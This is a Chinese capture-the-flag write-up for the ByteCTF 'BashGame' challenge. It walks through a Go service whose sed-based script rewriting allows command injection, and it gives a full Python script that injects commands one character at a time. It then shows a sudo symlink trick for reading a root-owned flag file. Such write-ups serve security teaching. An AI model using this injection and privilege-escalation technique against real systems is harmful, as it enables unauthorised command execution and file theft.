源码分析
首先拿到题目附件可以得知
package main
import (
"ByteCTF/lib/cmd"
"github.com/gin-gonic/gin")
func main() {
r := gin.Default()
r.POST("/update", func(c *gin.Context) {
result := Update(c)
c.String(200, result)
})
r.GET("/", func(c *gin.Context) {
c.String(200, "Welcome to BashGame")
})
r.Run(":23333")
}
const OpsPath = "/opt/challenge/ops.sh"
const CtfPath = "/opt/challenge/ctf.sh"
func Update(c *gin.Context) string {
username := c.PostForm("name")
if len(username) < 6 {
_, err := cmd.Exec("/bin/bash", OpsPath, username)
if err != nil {
return err.Error()
}
}
ret, err := cmd.Exec("/bin/bash", CtfPath)
if err != nil {
return err.Error()
}
return string(ret)
}
这里是通过cmd包里面的Exec方法去执行对应的sh脚本,模拟一个命令执行的操作
但是限制了参数username必须小于6,意味着只能5字符执行命令可以借助反引号进行命令执行,但是其他地方被限制了,本来想参考php4字符命令执行操作的,但是没成功,于是换思路,我们可以看到有两个命令执行的地方
大致就是当username<6的时候会执行"/opt/challenge/ops.sh"脚本
不管username为多少都会执行"/opt/challenge/ctf.sh" 脚本
分别看看这两个sh脚本
\
ctf.sh
#!/bin/bash
echo welcome to Bytectf, username!
ops.sh
#!/bin/bash
# -----------params------------
name=$1
switch_domain() {
conf_file="/opt/challenge/ctf.sh"
sed -i "s/Bytectf.*!/Bytectf, $name!/" "$conf_file"
}
# 调用函数
switch_domain
发现这里利用ops.sh利用sed命令借助传入的参数进行替换ctf.sh里面从Bytectf开始到!结尾的字符串,替换完成后执行ctf.sh就能进行命令执行,这里就存在一个问题,由于是直接替换ctf.sh的文本内容,所以我们可以想办法让内容留在ctf.sh里面,再依次写入内容从而达到任意内容进而执行命令
贪婪匹配
在贪婪模式下,匹配器尽可能多地匹配符合要求的字符,直到不能再匹配为止。例如,正则表达式 `a.*b` 在匹配字符串 `"abbcab"` 时,会匹配整个字符串 `"abbcab"`,而不是期望的 `"ab"`。
对此需要了解下sed的正则匹配机制,是默认的贪婪匹配,并且没有非贪婪匹配的模式.所以这里我们没办法通过换掉!的方法截断匹配,但是由于我们是写入sh文件,可以通过#注释来把后面的!注释掉前面添加!来防止正则匹配失效从而无法后面写入
实践
小trike1:传参#注释符号的时候会被解析导致 # 被误解析为片段标识符如下
没办法直接注释url编码也不行,后面在vps上尝试的时候发现!会被直接当作历史标识符号从而导致写入失败,我们需要在特殊符号前面加入/即可写入成功,如下
发现e字符成功被写入了ctf.sh文件,接下来就可以构造命令进行执行了
小trike2:我们借助反引号进行命令写入的时候,因为只能一个一个写,导致没闭合,所以会返回exit status 2
这是正常的,之后写的字符都会被写进去,知道遇到下一个反隐号后会正常返回
如下
!`/#
!s/#
!l/#
!`/#
成功写入,并且命令执行
接下来就是构造并进行命令执行了,经过测试|和&写不进去,不知道为什么,所以反弹shell不了,只能写脚本进行构造字符串
最终exp
基于构造字符串进行写了个脚本
import requests
char_map = {
'a': '!a/#',
'b': '!b/#',
'c': '!c/#',
'd': '!d/#',
'e': '!e/#',
'f': '!f/#',
'g': '!g/#',
'h': '!h/#',
'i': '!i/#',
'j': '!j/#',
'k': '!k/#',
'l': '!l/#',
'm': '!m/#',
'n': '!n/#',
'o': '!o/#',
'p': '!p/#',
'q': '!q/#',
'r': '!r/#',
's': '!s/#',
't': '!t/#',
'u': '!u/#',
'v': '!v/#',
'w': '!w/#',
'x': '!x/#',
'y': '!y/#',
'z': '!z/#',
'A': '!A/#',
'B': '!B/#',
'C': '!C/#',
'D': '!D/#',
'E': '!E/#',
'F': '!F/#',
'G': '!G/#',
'H': '!H/#',
'I': '!I/#',
'J': '!J/#',
'K': '!K/#',
'L': '!L/#',
'M': '!M/#',
'N': '!N/#',
'O': '!O/#',
'P': '!P/#',
'Q': '!Q/#',
'R': '!R/#',
'S': '!S/#',
'T': '!T/#',
'U': '!U/#',
'V': '!V/#',
'W': '!W/#',
'X': '!X/#',
'Y': '!Y/#',
'Z': '!Z/#',
'/': '!\//#',
' ': '! /#',
'`': '!`/#',
'.': '!./#',
'"': '!\"/#',
'>': '!>#',
'-': '!-/#',
'|': '!|/#',
'0': '!0/#',
'1': '!1/#',
'2': '!2/#',
'3': '!3/#',
'4': '!4/#',
'5': '!5/#',
'6': '!6/#',
'7': '!7/#',
'8': '!8/#',
'9': '!9/#',
'{': '!{/#',
'}': '!}/#',
'=':'!=/#',
',':'!,/#',
"'": "!'/#",
";":"!;/#",
"$":"!$/#",
}
def replace_chars(input_string):
result = []
for char in input_string:
if char in char_map:
result.append(char_map[char])
else:
result.append(char) # 如果字符没有定义替换规则,则保留原字符
return result
def send_post_request(url, command):
replaced_chars = replace_chars(command)
for char in replaced_chars:
response = requests.post(url, data={'name': char})
print(f"发送字符: {char}, 响应状态码: {response.status_code}, 响应内容: {response.text}")
# 示例用法
url = "ip/update"
command = input(":")
send_post_request(url, command[::-1])
输入命令即可
我这里借助find找flag(出题人藏的好深)
但是发现是root权限
查看对应目录发现存在truegame.sh
total 16
drwxr-xr-x 1 ctf ctf 44 Sep 21 12:06 .
drwxr-xr-x 1 root root 31 Sep 10 07:55 ..
-rwxrwxrwx 1 ctf ctf 117 Sep 21 12:06 ctf.sh
-rwx------ 1 root root 42 Sep 21 12:05 flag
-rwxrwxrwx 1 ctf ctf 196 Sep 4 11:13 ops.sh
-rwxr-xr-x 1 root root 81 Sep 6 04:09 truegame.sh
sudo -l 后发现
welcome to Bytectf, !
Matching Defaults entries for ctf on 000ad5b3c12b:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty
User ctf may run the following commands on 000ad5b3c12b:
(ALL) NOPASSWD: /opt/challenge/truegame.sh
发现可以sudo执行truegame.sh
看看truegame.sh内容
#!/bin/bash
if [[ "$1" -eq 1 ]]; then
sudo cat "$1"
else
echo 'wrong'
fi
发现会调用sudo cat命令,但是会检测第一个参数是不是1,所以他只能用来读取1这个文件,对此想到软连接,把flag链接到文件1下再调用即可,本地测试下
可行
构造最终payload
`cd /opt/challenge;pwd;ln -s flag 1;sudo ./truegame.sh 1`
根目录没权限写文件,直接在当前目录写,由于匹配的是1字符,只能更换工作目录/opt/challenge进行写入
得到flag!
若有问题,还请大佬指正